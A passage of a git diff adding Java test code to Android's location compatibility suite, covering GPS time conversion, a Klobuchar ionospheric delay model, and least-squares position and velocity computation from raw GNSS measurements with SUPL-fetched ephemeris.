+ long nanos = gpsWeek * NANOS_IN_WEEK + TimeUnit.SECONDS.toNanos(towSec);
+ return new GpsTime(nanos);
+ }
+
+ /**
+ * Creates a GPS time using YUMA GPS week number (0..1023), and the time of week.
+ * @param yumaWeek (0..1023)
+ * @param towSec GPS time of week in second
+ * @return actual time in GpsTime.
+ */
+ public static GpsTime fromYumaWeekTow(int yumaWeek, int towSec) {
+ Preconditions.checkArgument(yumaWeek >= 0);
+ Preconditions.checkArgument(yumaWeek < 1024);
+
+ // Estimate the multiplier of current week.
+ ZoneId zone = ZoneId.of("UTC");
+ ZonedDateTime current = ZonedDateTime.now(zone);
+ GpsTime refTime = new GpsTime(current);
+ Pair<Integer, Integer> refWeekSec = refTime.getGpsWeekSecond();
+ int weekMultiplier = refWeekSec.first / 1024;
+
+ int gpsWeek = weekMultiplier * 1024 + yumaWeek;
+ return fromWeekTow(gpsWeek, towSec);
+ }
+
+ public static GpsTime fromTimeSinceGpsEpoch(long gpsSec) {
+ return new GpsTime(TimeUnit.SECONDS.toNanos(gpsSec));
+ }
+
+ /**
+ * Computes leap seconds. Only accurate after 2009.
+ * @param time
+ * @return number of leap seconds since GPS epoch.
+ */
+ public static int getLeapSecond(ZonedDateTime time) {
+ if (LEAP_SECOND_DATE_2017.compareTo(time) <= 0) {
+ return 18;
+ } else if (LEAP_SECOND_DATE_2015.compareTo(time) <= 0) {
+ return 17;
+ } else if (LEAP_SECOND_DATE_2012.compareTo(time) <= 0) {
+ return 16;
+ } else if (LEAP_SECOND_DATE_1981.compareTo(time) <= 0) {
+ // Only correct between 2012/7/1 to 2008/12/31
+ return 15;
+ } else {
+ return 0;
+ }
+ }
+
+ /**
+ * Computes GPS weekly epoch of the reference time.
+ * <p>GPS weekly epoch are defined as of every Sunday 00:00:000 (mor
+ * @param refTime reference time
+ * @return nanoseconds since GPS epoch, for the week epoch.
+ */
+ public static Long getGpsWeekEpochNano(GpsTime refTime) {
+ Pair<Integer, Integer> weekSecond = refTime.getGpsWeekSecond();
+ return weekSecond.first * NANOS_IN_WEEK;
+ }
+
+ /**
+ * @return week count since GPS epoch, and second count since the beginning of
+ * that week.
+ */
+ public Pair<Integer, Integer> getGpsWeekSecond() {
+ // JAVA/UNIX epoch: January 1, 1970 in msec
+ // GPS epoch: January 6, 1980 in second
+ int week = (int) (gpsNanos / NANOS_IN_WEEK);
+ int second = (int) TimeUnit.NANOSECONDS.toSeconds(gpsNanos % NANOS_IN_WEEK);
+ return Pair.create(week, second);
+ }
+
+ /**
+ * @return week count since GPS epoch, and second count in 0.08 sec
+ * resolution, 23-bit presentation (required by RRLP.)"
+ */
+ public Pair<Integer, Integer> getGpsWeekTow23b() {
+ // UNIX epoch: January 1, 1970 in msec
+ // GPS epoch: January 6, 1980 in second
+ int week = (int) (gpsNanos / NANOS_IN_WEEK);
+ // 80 millis is 0.08 second.
+ int tow23b = (int) TimeUnit.NANOSECONDS.toMillis(gpsNanos % NANOS_IN_WEEK) / 80;
+ return Pair.create(week, tow23b);
+ }
+
+ /**
+ * @return Day of year in GPS time (GMT time)
+ */
+ public static int getCurrentDayOfYear() {
+ ZoneId zone = ZoneId.of("UTC");
+ ZonedDateTime current = ZonedDateTime.now(zone);
+ // Since current is derived from UTC time, we need to add leap second here.
+ long gpsTimeMillis = getMillisFromZonedDateTime(current)
+ + TimeUnit.SECONDS.toMillis(getLeapSecond(current));
+ ZonedDateTime gpsCurrent = ZonedDateTime.ofInstant(Instant.ofEpochMilli(gpsTimeMillis), ZoneId.of("UTC"));
+ return gpsCurrent.getDayOfYear();
+ }
+
+ /**
+ * @return milliseconds since JAVA/UNIX epoch.
+ */
+ public final long getMillisSinceJavaEpoch() {
+ return TimeUnit.NANOSECONDS.toMillis(gpsNanos + GPS_UTC_EPOCH_OFFSET_NANOS);
+ }
+
+ /**
+ * @return milliseconds since GPS epoch.
+ */
+ public final long getMillisSinceGpsEpoch() {
+ return TimeUnit.NANOSECONDS.toMillis(gpsNanos);
+ }
+
+ /**
+ * @return microseconds since GPS epoch.
+ */
+ public final long getMicrosSinceGpsEpoch() {
+ return TimeUnit.NANOSECONDS.toMicros(gpsNanos);
+ }
+
+ /**
+ * @return nanoseconds since GPS epoch.
+ */
+ public final long getNanosSinceGpsEpoch() {
+ return gpsNanos;
+ }
+
+ /**
+ * @return the GPS time in Calendar.
+ */
+ public Calendar getTimeInCalendar() {
+ return GregorianCalendar.from(getGpsDateTime());
+ }
+
+ /**
+ * @return a ZonedDateTime with leap seconds considered.
+ */
+ public ZonedDateTime getUtcDateTime() {
+ ZonedDateTime gpsDateTime = getGpsDateTime();
+ long gpsMillis = getMillisFromZonedDateTime(gpsDateTime)
+ - TimeUnit.SECONDS.toMillis(getLeapSecond(gpsDateTime));
+ return ZonedDateTime.ofInstant(Instant.ofEpochMilli(gpsMillis), ZoneId.of("UTC"));
+
+ }
+
+ /**
+ * @return a ZonedDateTime based on the pure GPS time (without considering leap second).
+ */
+ public ZonedDateTime getGpsDateTime() {
+ long gpsMillis = TimeUnit.NANOSECONDS.toMillis(gpsNanos + GPS_UTC_EPOCH_OFFSET_NANOS);
+ return ZonedDateTime.ofInstant(Instant.ofEpochMilli(gpsMillis), ZoneId.of("UTC"));
+ }
+
+ /**
+ * Compares two {@code GpsTime} objects temporally.
+ *
+ * @param other the {@code GpsTime} to be compared.
+ * @return the value {@code 0} if this {@code GpsTime} is simultaneous with
+ * the argument {@code GpsTime}; a value less than {@code 0} if this
+ * {@code GpsTime} occurs before the argument {@code GpsTime}; and
+ * a value greater than {@code 0} if this {@code GpsTime} occurs
+ * after the argument {@code GpsTime} (signed comparison).
+ */
+ @Override
+ public int compareTo(GpsTime other) {
+ return Long.compare(this.getNanosSinceGpsEpoch(), other.getNanosSinceGpsEpoch());
+ }
+
+ @Override
+ public boolean equals(Object other) {
+ if (!(other instanceof GpsTime)) {
+ return false;
+ }
+ GpsTime time = (GpsTime) other;
+ return getNanosSinceGpsEpoch() == time.getNanosSinceGpsEpoch();
+ }
+
+ @Override
+ public int hashCode() {
+ return Longs.hashCode(getNanosSinceGpsEpoch());
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/psedorange/IonosphericModel.java b/tests/tests/location/src/android/location/cts/psedorange/IonosphericModel.java
new file mode 100644
index 0000000..b61338e
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/psedorange/IonosphericModel.java
@@ -0,0 +1,139 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.pseudorange;
+
+import android.location.cts.pseudorange.Ecef2LlaConverter.GeodeticLlaValues;
+import android.location.cts.pseudorange.EcefToTopocentricConverter.TopocentricAEDValues;
+
+/**
+ * Calculate the Ionospheric correction of the pseudorange given the {@code userPosition},
+ * {@code satellitePosition}, {@code gpsTimeSeconds} and the ionospheric parameters sent by the
+ * satellite {@code alpha} and {@code beta}
+ *
+ * <p>Source: http://www.navipedia.net/index.php/Klobuchar_Ionospheric_Model and
+ * http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=4104345 and
+ * http://www.ion.org/museum/files/ACF2A4.pdf
+ */
+public class IonosphericModel {
+ /** Center frequency of the L1 band in Hz. */
+ public static final double L1_FREQ_HZ = 10.23 * 1e6 * 154;
+ /** Center frequency of the L2 band in Hz. */
+ public static final double L2_FREQ_HZ = 10.23 * 1e6 * 120;
+ /** Center frequency of the L5 band in Hz. */
+ public static final double L5_FREQ_HZ = 10.23 * 1e6 * 115;
+
+ private static final double SECONDS_PER_DAY = 86400.0;
+ private static final double PERIOD_OF_DELAY_TRHESHOLD_SECONDS = 72000.0;
+ private static final double IPP_LATITUDE_THRESHOLD_SEMI_CIRCLE = 0.416;
+ private static final double DC_TERM = 5.0e-9;
+ private static final double NORTH_GEOMAGNETIC_POLE_LONGITUDE_RADIANS = 5.08;
+ private static final double GEOMETRIC_LATITUDE_CONSTANT = 0.064;
+ private static final int DELAY_PHASE_TIME_CONSTANT_SECONDS = 50400;
+ private static final int IONO_0_IDX = 0;
+ private static final int IONO_1_IDX = 1;
+ private static final int IONO_2_IDX = 2;
+ private static final int IONO_3_IDX = 3;
+
+ /**
+ * Calculate the Ionospheric correction of the pseudorane in seconds using the Klobuchar
+ * Ionospheric model.
+ */
+ public static double ionoKloboucharCorrectionSeconds(
+ double[] userPositionECEFMeters,
+ double[] satellitePositionECEFMeters,
+ double gpsTOWSeconds,
+ double[] alpha,
+ double[] beta,
+ double frequencyHz) {
+
+ TopocentricAEDValues elevationAndAzimuthRadians = EcefToTopocentricConverter
+ .calculateElAzDistBetween2Points(userPositionECEFMeters, satellitePositionECEFMeters);
+ double elevationSemiCircle = elevationAndAzimuthRadians.elevationRadians / Math.PI;
+ double azimuthSemiCircle = elevationAndAzimuthRadians.azimuthRadians / Math.PI;
+ GeodeticLlaValues latLngAlt = Ecef2LlaConverter.convertECEFToLLACloseForm(
+ userPositionECEFMeters[0], userPositionECEFMeters[1], userPositionECEFMeters[2]);
+ double latitudeUSemiCircle = latLngAlt.latitudeRadians / Math.PI;
+ double longitudeUSemiCircle = latLngAlt.longitudeRadians / Math.PI;
+
+ // earth's centered angle (semi-circles)
+ double earthCentredAngleSemiCirle = 0.0137 / (elevationSemiCircle + 0.11) - 0.022;
+
+ // latitude of the Ionospheric Pierce Point (IPP) (semi-circles)
+ double latitudeISemiCircle =
+ latitudeUSemiCircle + earthCentredAngleSemiCirle * Math.cos(azimuthSemiCircle * Math.PI);
+
+ if (latitudeISemiCircle > IPP_LATITUDE_THRESHOLD_SEMI_CIRCLE) {
+ latitudeISemiCircle = IPP_LATITUDE_THRESHOLD_SEMI_CIRCLE;
+ } else if (latitudeISemiCircle < -IPP_LATITUDE_THRESHOLD_SEMI_CIRCLE) {
+ latitudeISemiCircle = -IPP_LATITUDE_THRESHOLD_SEMI_CIRCLE;
+ }
+
+ // geodetic longitude of the Ionospheric Pierce Point (IPP) (semi-circles)
+ double longitudeISemiCircle = longitudeUSemiCircle + earthCentredAngleSemiCirle
+ * Math.sin(azimuthSemiCircle * Math.PI) / Math.cos(latitudeISemiCircle * Math.PI);
+
+ // geomagnetic latitude of the Ionospheric Pierce Point (IPP) (semi-circles)
+ double geomLatIPPSemiCircle = latitudeISemiCircle + GEOMETRIC_LATITUDE_CONSTANT
+ * Math.cos(longitudeISemiCircle * Math.PI - NORTH_GEOMAGNETIC_POLE_LONGITUDE_RADIANS);
+
+ // local time (sec) at the Ionospheric Pierce Point (IPP)
+ double localTimeSeconds = SECONDS_PER_DAY / 2.0 * longitudeISemiCircle + gpsTOWSeconds;
+ localTimeSeconds %= SECONDS_PER_DAY;
+ if (localTimeSeconds < 0) {
+ localTimeSeconds += SECONDS_PER_DAY;
+ }
+
+ // amplitude of the ionospheric delay (seconds)
+ double amplitudeOfDelaySeconds = alpha[IONO_0_IDX] + alpha[IONO_1_IDX] * geomLatIPPSemiCircle
+ + alpha[IONO_2_IDX] * geomLatIPPSemiCircle * geomLatIPPSemiCircle + alpha[IONO_3_IDX]
+ * geomLatIPPSemiCircle * geomLatIPPSemiCircle * geomLatIPPSemiCircle;
+ if (amplitudeOfDelaySeconds < 0) {
+ amplitudeOfDelaySeconds = 0;
+ }
+
+ // period of ionospheric delay
+ double periodOfDelaySeconds = beta[IONO_0_IDX] + beta[IONO_1_IDX] * geomLatIPPSemiCircle
+ + beta[IONO_2_IDX] * geomLatIPPSemiCircle * geomLatIPPSemiCircle + beta[IONO_3_IDX]
+ * geomLatIPPSemiCircle * geomLatIPPSemiCircle * geomLatIPPSemiCircle;
+ if (periodOfDelaySeconds < PERIOD_OF_DELAY_TRHESHOLD_SECONDS) {
+ periodOfDelaySeconds = PERIOD_OF_DELAY_TRHESHOLD_SECONDS;
+ }
+
+ // phase of ionospheric delay
+ double phaseOfDelayRadians =
+ 2 * Math.PI * (localTimeSeconds - DELAY_PHASE_TIME_CONSTANT_SECONDS) / periodOfDelaySeconds;
+
+ // slant factor
+ double slantFactor = 1.0 + 16.0 * Math.pow(0.53 - elevationSemiCircle, 3);
+
+ // ionospheric time delay (seconds)
+ double ionoDelaySeconds;
+
+ if (Math.abs(phaseOfDelayRadians) >= Math.PI / 2.0) {
+ ionoDelaySeconds = DC_TERM * slantFactor;
+ } else {
+ ionoDelaySeconds = (DC_TERM
+ + (1 - Math.pow(phaseOfDelayRadians, 2) / 2.0 + Math.pow(phaseOfDelayRadians, 4) / 24.0)
+ * amplitudeOfDelaySeconds) * slantFactor;
+ }
+
+ // apply factor for frequency bands other than L1
+ ionoDelaySeconds *= (L1_FREQ_HZ * L1_FREQ_HZ) / (frequencyHz * frequencyHz);
+
+ return ionoDelaySeconds;
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/psedorange/PseudorangePositionVelocityFromRealTimeEvents.java b/tests/tests/location/src/android/location/cts/psedorange/PseudorangePositionVelocityFromRealTimeEvents.java
new file mode 100644
index 0000000..b042856
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/psedorange/PseudorangePositionVelocityFromRealTimeEvents.java
@@ -0,0 +1,377 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.pseudorange;
+
+import android.location.GnssClock;
+import android.location.GnssMeasurement;
+import android.location.GnssMeasurementsEvent;
+import android.location.GnssNavigationMessage;
+import android.location.GnssStatus;
+import android.util.Log;
+import android.location.cts.pseudorange.Ecef2EnuConverter.EnuValues;
+import android.location.cts.pseudorange.Ecef2LlaConverter.GeodeticLlaValues;
+import android.location.cts.nano.Ephemeris.GpsEphemerisProto;
+import android.location.cts.nano.Ephemeris.GpsNavMessageProto;
+import android.location.cts.pseudorange.GpsTime;
+import android.location.cts.suplClient.SuplRrlpController;
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.net.UnknownHostException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Calendar;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Helper class for calculating GPS position and velocity solution using weighted least squares
+ * where the raw GPS measurements are parsed as a {@link BufferedReader}.
+ *
+ */
+public class PseudorangePositionVelocityFromRealTimeEvents {
+
+ private static final String TAG = "PseudorangePositionVelocityFromRealTimeEvents";
+ private static final double SECONDS_PER_NANO = 1.0e-9;
+ private static final int TOW_DECODED_MEASUREMENT_STATE_BIT = 3;
+ /** Average signal travel time from GPS satellite and earth */
+ private static final int VALID_ACCUMULATED_DELTA_RANGE_STATE = 1;
+ private static final int MINIMUM_NUMBER_OF_USEFUL_SATELLITES = 4;
+ private static final int C_TO_N0_THRESHOLD_DB_HZ = 18;
+ /** Maximum possible number of GPS satellites */
+ private static final int MAX_NUMBER_OF_SATELLITES = 32;
+
+ private static final String SUPL_SERVER_NAME = "supl.google.com";
+ private static final int SUPL_SERVER_PORT = 7276;
+
+ private final double[] mPositionSolutionLatLngDeg = {Double.NaN, Double.NaN, Double.NaN};
+ private final double[] mVelocitySolutionEnuMps = {Double.NaN, Double.NaN, Double.NaN};
+ private final double[] mPositionVelocityUncertaintyEnu = {
+ Double.NaN, Double.NaN, Double.NaN, Double.NaN, Double.NaN, Double.NaN
+ };
+ private boolean mFirstUsefulMeasurementSet = true;
+ private int[] mReferenceLocation = null;
+ private long mLastReceivedSuplMessageTimeMillis = 0;
+ private long mDeltaTimeMillisToMakeSuplRequest = TimeUnit.MINUTES.toMillis(30);
+ private boolean mFirstSuplRequestNeeded = true;
+ private GpsNavMessageProto mGpsNavMessageProtoUsed = null;
+
+ private final UserPositionVelocityWeightedLeastSquare mUserPositionVelocityLeastSquareCalculator =
+ new UserPositionVelocityWeightedLeastSquare();
+ private GpsMeasurement[] mUsefulSatellitesToReceiverMeasurements =
+ new GpsMeasurement[MAX_NUMBER_OF_SATELLITES];
+ private Long[] mUsefulSatellitesToTowNs = new Long[MAX_NUMBER_OF_SATELLITES];
+ private long mLargestTowNs = Long.MIN_VALUE;
+ private double mArrivalTimeSinceGPSWeekNs = 0.0;
+ private int mDayOfYear1To366 = 0;
+ private int mGpsWeekNumber = 0;
+ private long mArrivalTimeSinceGpsEpochNs = 0;
+
+ /**
+ * Computes Weighted least square position and velocity solutions from a received
+ * {@link GnssMeasurementsEvent} and store the result in {@link
+ * PseudorangePositionVelocityFromRealTimeEvents#mPositionSolutionLatLngDeg} and
+ * {@link PseudorangePositionVelocityFromRealTimeEvents#mVelocitySolutionEnuMps}
+ */
+ public void computePositionVelocitySolutionsFromRawMeas(GnssMeasurementsEvent event)
+ throws Exception {
+ if (mReferenceLocation == null) {
+ // If no reference location is received, we can not get navigation message from SUPL and hence
+ // we will not try to compute location.
+ Log.d(TAG, " No reference Location ..... no position is calculated");
+ return;
+ }
+ for (int i = 0; i < MAX_NUMBER_OF_SATELLITES; i++) {
+ mUsefulSatellitesToReceiverMeasurements[i] = null;
+ mUsefulSatellitesToTowNs[i] = null;
+ }
+
+ GnssClock gnssClock = event.getClock();
+ mArrivalTimeSinceGpsEpochNs = gnssClock.getTimeNanos() - gnssClock.getFullBiasNanos();
+ for (GnssMeasurement measurement : event.getMeasurements()) {
+ // ignore any measurement if it is not from GPS constellation
+ if (measurement.getConstellationType() != GnssStatus.CONSTELLATION_GPS) {
+ continue;
+ }
+ // ignore raw data if time is zero, if signal to noise ratio is below threshold or if
+ // TOW is not yet decoded
+ if (measurement.getCn0DbHz() >= C_TO_N0_THRESHOLD_DB_HZ
+ && (measurement.getState() & (1L << TOW_DECODED_MEASUREMENT_STATE_BIT)) != 0) {
+ // calculate day of year and Gps week number needed for the least square
+ GpsTime gpsTime = new GpsTime(mArrivalTimeSinceGpsEpochNs);
+ // Gps weekly epoch in Nanoseconds: defined as of every Sunday night at 00:00:000
+ long gpsWeekEpochNs = GpsTime.getGpsWeekEpochNano(gpsTime);
+ mArrivalTimeSinceGPSWeekNs = mArrivalTimeSinceGpsEpochNs - gpsWeekEpochNs;
+ mGpsWeekNumber = gpsTime.getGpsWeekSecond().first;
+ // calculate day of the year between 1 and 366
+ Calendar cal = gpsTime.getTimeInCalendar();
+ mDayOfYear1To366 = cal.get(Calendar.DAY_OF_YEAR);
+
+ long receivedGPSTowNs = measurement.getReceivedSvTimeNanos();
+ if (receivedGPSTowNs > mLargestTowNs) {
+ mLargestTowNs = receivedGPSTowNs;
+ }
+ mUsefulSatellitesToTowNs[measurement.getSvid() - 1] = receivedGPSTowNs;
+ GpsMeasurement gpsReceiverMeasurement =
+ new GpsMeasurement(
+ (long) mArrivalTimeSinceGPSWeekNs,
+ measurement.getAccumulatedDeltaRangeMeters(),
+ measurement.getAccumulatedDeltaRangeState()
+ == VALID_ACCUMULATED_DELTA_RANGE_STATE,
+ measurement.getPseudorangeRateMetersPerSecond(),
+ measurement.getCn0DbHz(),
+ measurement.getAccumulatedDeltaRangeUncertaintyMeters(),
+ measurement.getPseudorangeRateUncertaintyMetersPerSecond());
+ mUsefulSatellitesToReceiverMeasurements[measurement.getSvid() - 1] =
+ gpsReceiverMeasurement;
+ }
+ }
+
+ Log.d(TAG, "Using navigation message from SUPL server");
+ if (mFirstSuplRequestNeeded
+ || (System.currentTimeMillis() - mLastReceivedSuplMessageTimeMillis)
+ > mDeltaTimeMillisToMakeSuplRequest) {
+ // The following line is blocking call for SUPL connection and back. But it is fast enough
+ mGpsNavMessageProtoUsed = getSuplNavMessage(mReferenceLocation[0], mReferenceLocation[1]);
+ if (!isEmptyNavMessage(mGpsNavMessageProtoUsed)) {
+ mFirstSuplRequestNeeded = false;
+ mLastReceivedSuplMessageTimeMillis = System.currentTimeMillis();
+ } else {
+ return;
+ }
+ }
+
+
+ // some times the SUPL server returns less satellites than the visible ones, so remove those
+ // visible satellites that are not returned by SUPL
+ for (int i = 0; i < MAX_NUMBER_OF_SATELLITES; i++) {
+ if (mUsefulSatellitesToReceiverMeasurements[i] != null
+ && !navMessageProtoContainsSvid(mGpsNavMessageProtoUsed, i + 1)) {
+ mUsefulSatellitesToReceiverMeasurements[i] = null;
+ mUsefulSatellitesToTowNs[i] = null;
+ }
+ }
+
+ // calculate the number of useful satellites
+ int numberOfUsefulSatellites = 0;
+ for (int i = 0; i < mUsefulSatellitesToReceiverMeasurements.length; i++) {
+ if (mUsefulSatellitesToReceiverMeasurements[i] != null) {
+ numberOfUsefulSatellites++;
+ }
+ }
+ if (numberOfUsefulSatellites >= MINIMUM_NUMBER_OF_USEFUL_SATELLITES) {
+ // ignore first set of > 4 satellites as they often result in erroneous position
+ if (!mFirstUsefulMeasurementSet) {
+ // start with last known position and velocity of zero. Following the structure:
+ // [X position, Y position, Z position, clock bias,
+ // X Velocity, Y Velocity, Z Velocity, clock bias rate]
+ double[] positionVeloctySolutionEcef = {0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0};
+ double[] positionVelocityUncertaintyEnu = new double[] {0.0, 0.0, 0.0, 0.0, 0.0, 0.0};
+ performPositionVelocityComputationEcef(
+ mUserPositionVelocityLeastSquareCalculator,
+ mUsefulSatellitesToReceiverMeasurements,
+ mUsefulSatellitesToTowNs,
+ mLargestTowNs,
+ mArrivalTimeSinceGPSWeekNs,
+ mDayOfYear1To366,
+ mGpsWeekNumber,
+ positionVeloctySolutionEcef,
+ positionVelocityUncertaintyEnu);
+ // convert the position solution from ECEF to latitude, longitude and altitude
+ GeodeticLlaValues latLngAlt =
+ Ecef2LlaConverter.convertECEFToLLACloseForm(
+ positionVeloctySolutionEcef[0],
+ positionVeloctySolutionEcef[1],
+ positionVeloctySolutionEcef[2]);
+ mPositionSolutionLatLngDeg[0] = Math.toDegrees(latLngAlt.latitudeRadians);
+ mPositionSolutionLatLngDeg[1] = Math.toDegrees(latLngAlt.longitudeRadians);
+ mPositionSolutionLatLngDeg[2] = latLngAlt.altitudeMeters;
+ mPositionVelocityUncertaintyEnu[0] = positionVelocityUncertaintyEnu[0];
+ mPositionVelocityUncertaintyEnu[1] = positionVelocityUncertaintyEnu[1];
+ mPositionVelocityUncertaintyEnu[2] = positionVelocityUncertaintyEnu[2];
+ Log.d(TAG,
+ "Position Uncertainty ENU Meters :"
+ + mPositionVelocityUncertaintyEnu[0]
+ + " "
+ + mPositionVelocityUncertaintyEnu[1]
+ + " "
+ + mPositionVelocityUncertaintyEnu[2]);
+ Log.d(
+ TAG,
+ "Latitude, Longitude, Altitude: "
+ + mPositionSolutionLatLngDeg[0]
+ + " "
+ + mPositionSolutionLatLngDeg[1]
+ + " "
+ + mPositionSolutionLatLngDeg[2]);
+ EnuValues velocityEnu = Ecef2EnuConverter.convertEcefToEnu(
+ positionVeloctySolutionEcef[4],
+ positionVeloctySolutionEcef[5],
+ positionVeloctySolutionEcef[6],
+ latLngAlt.latitudeRadians,
+ latLngAlt.longitudeRadians
+ );
+
+ mVelocitySolutionEnuMps[0] = velocityEnu.enuEast;
+ mVelocitySolutionEnuMps[1] = velocityEnu.enuNorth;
+ mVelocitySolutionEnuMps[2] = velocityEnu.enuUP;
+ Log.d(
+ TAG,
+ "Velocity ENU Mps: "
+ + mVelocitySolutionEnuMps[0]
+ + " "
+ + mVelocitySolutionEnuMps[1]
+ + " "
+ + mVelocitySolutionEnuMps[2]);
+ mPositionVelocityUncertaintyEnu[3] = positionVelocityUncertaintyEnu[3];
+ mPositionVelocityUncertaintyEnu[4] = positionVelocityUncertaintyEnu[4];
+ mPositionVelocityUncertaintyEnu[5] = positionVelocityUncertaintyEnu[5];
+ Log.d(TAG,
+ "Velocity Uncertainty ENU Mps :"
+ + mPositionVelocityUncertaintyEnu[3]
+ + " "
+ + mPositionVelocityUncertaintyEnu[4]
+ + " "
+ + mPositionVelocityUncertaintyEnu[5]);
+ }
+ mFirstUsefulMeasurementSet = false;
+ } else {
+ Log.d(
+ TAG,
+ "Less than four satellites with SNR above threshold visible ... "
+ + "no position is calculated!");
+
+ mPositionSolutionLatLngDeg[0] = Double.NaN;
+ mPositionSolutionLatLngDeg[1] = Double.NaN;
+ mPositionSolutionLatLngDeg[2] = Double.NaN;
+ mVelocitySolutionEnuMps[0] = Double.NaN;
+ mVelocitySolutionEnuMps[1] = Double.NaN;
+ mVelocitySolutionEnuMps[2] = Double.NaN;
+ }
+ }
+
+ private boolean isEmptyNavMessage(GpsNavMessageProto navMessageProto) {
+ if(navMessageProto.iono == null)return true;
+ if(navMessageProto.ephemerids.length ==0)return true;
+ return false;
+ }
+
+ private boolean navMessageProtoContainsSvid(GpsNavMessageProto navMessageProto, int svid) {
+ List<GpsEphemerisProto> ephemeridesList =
+ new ArrayList<GpsEphemerisProto>(Arrays.asList(navMessageProto.ephemerids));
+ for (GpsEphemerisProto ephProtoFromList : ephemeridesList) {
+ if (ephProtoFromList.prn == svid) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ /**
+ * Calculates ECEF least square position and velocity solutions from an array of
+ * {@link GpsMeasurement} in meters and meters per second and store the result in
+ * {@code positionVelocitySolutionEcef}
+ */
+ private void performPositionVelocityComputationEcef(
+ UserPositionVelocityWeightedLeastSquare userPositionVelocityLeastSquare,
+ GpsMeasurement[] usefulSatellitesToReceiverMeasurements,
+ Long[] usefulSatellitesToTOWNs,
+ long largestTowNs,
+ double arrivalTimeSinceGPSWeekNs,
+ int dayOfYear1To366,
+ int gpsWeekNumber,
+ double[] positionVelocitySolutionEcef,
+ double[] positionVelocityUncertaintyEnu)
+ throws Exception {
+
+ List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToPseudorangeMeasurements =
+ UserPositionVelocityWeightedLeastSquare.computePseudorangeAndUncertainties(
+ Arrays.asList(usefulSatellitesToReceiverMeasurements),
+ usefulSatellitesToTOWNs,
+ largestTowNs);
+
+ // calculate iterative least square position solution and velocity solutions
+ userPositionVelocityLeastSquare.calculateUserPositionVelocityLeastSquare(
+ mGpsNavMessageProtoUsed,
+ usefulSatellitesToPseudorangeMeasurements,
+ arrivalTimeSinceGPSWeekNs * SECONDS_PER_NANO,
+ gpsWeekNumber,
+ dayOfYear1To366,
+ positionVelocitySolutionEcef,
+ positionVelocityUncertaintyEnu);
+
+ Log.d(
+ TAG,
+ "Least Square Position Solution in ECEF meters: "
+ + positionVelocitySolutionEcef[0]
+ + " "
+ + positionVelocitySolutionEcef[1]
+ + " "
+ + positionVelocitySolutionEcef[2]);
+ Log.d(TAG, "Estimated Receiver clock offset in meters: " + positionVelocitySolutionEcef[3]);
+
+ Log.d(TAG, "Velocity Solution in ECEF Mps: "
+ + positionVelocitySolutionEcef[4]
+ + " "
+ + positionVelocitySolutionEcef[5]
+ + " "
+ + positionVelocitySolutionEcef[6]);
+ Log.d(TAG, "Estimated Reciever clock offset rate in mps: " + positionVelocitySolutionEcef[7]);
+ }
+
+ /**
+ * Reads the navigation message from the SUPL server by creating a Stubby client to Stubby server
+ * that wraps the SUPL server. The input is the time in nanoseconds since the GPS epoch at which
+ * the navigation message is required and the output is a {@link GpsNavMessageProto}
+ *
+ * @throws IOException
+ * @throws UnknownHostException
+ */
+ private GpsNavMessageProto getSuplNavMessage(long latE7, long lngE7)
+ throws UnknownHostException, IOException {
+ SuplRrlpController suplRrlpController =
+ new SuplRrlpController(SUPL_SERVER_NAME, SUPL_SERVER_PORT);
+ GpsNavMessageProto navMessageProto = suplRrlpController.generateNavMessage(latE7, lngE7);
+
+ return navMessageProto;
+ }
+
+ /** Sets a rough location of the receiver that can be used to request SUPL assistance data */
+ public void setReferencePosition(int latE7, int lngE7, int altE7) {
+ if (mReferenceLocation == null) {
+ mReferenceLocation = new int[3];
+ }
+ mReferenceLocation[0] = latE7;
+ mReferenceLocation[1] = lngE7;
+ mReferenceLocation[2] = altE7;
+ }
+
+ /** Returns the last computed weighted least square position solution */
+ public double[] getPositionSolutionLatLngDeg() {
+ return mPositionSolutionLatLngDeg;
+ }
+
+ /** Returns the last computed Velocity solution */
+ public double[] getVelocitySolutionEnuMps() {
+ return mVelocitySolutionEnuMps;
+ }
+
+ /** Returns the last computed position velocity uncertainties in meters and meter per seconds,
+ * consecutively. */
+ public double[] getPositionVelocityUncertaintyEnu() {
+ return mPositionVelocityUncertaintyEnu;
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/psedorange/PseudorangeSmoother.java b/tests/tests/location/src/android/location/cts/psedorange/PseudorangeSmoother.java
new file mode 100644
index 0000000..fd06972
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/psedorange/PseudorangeSmoother.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
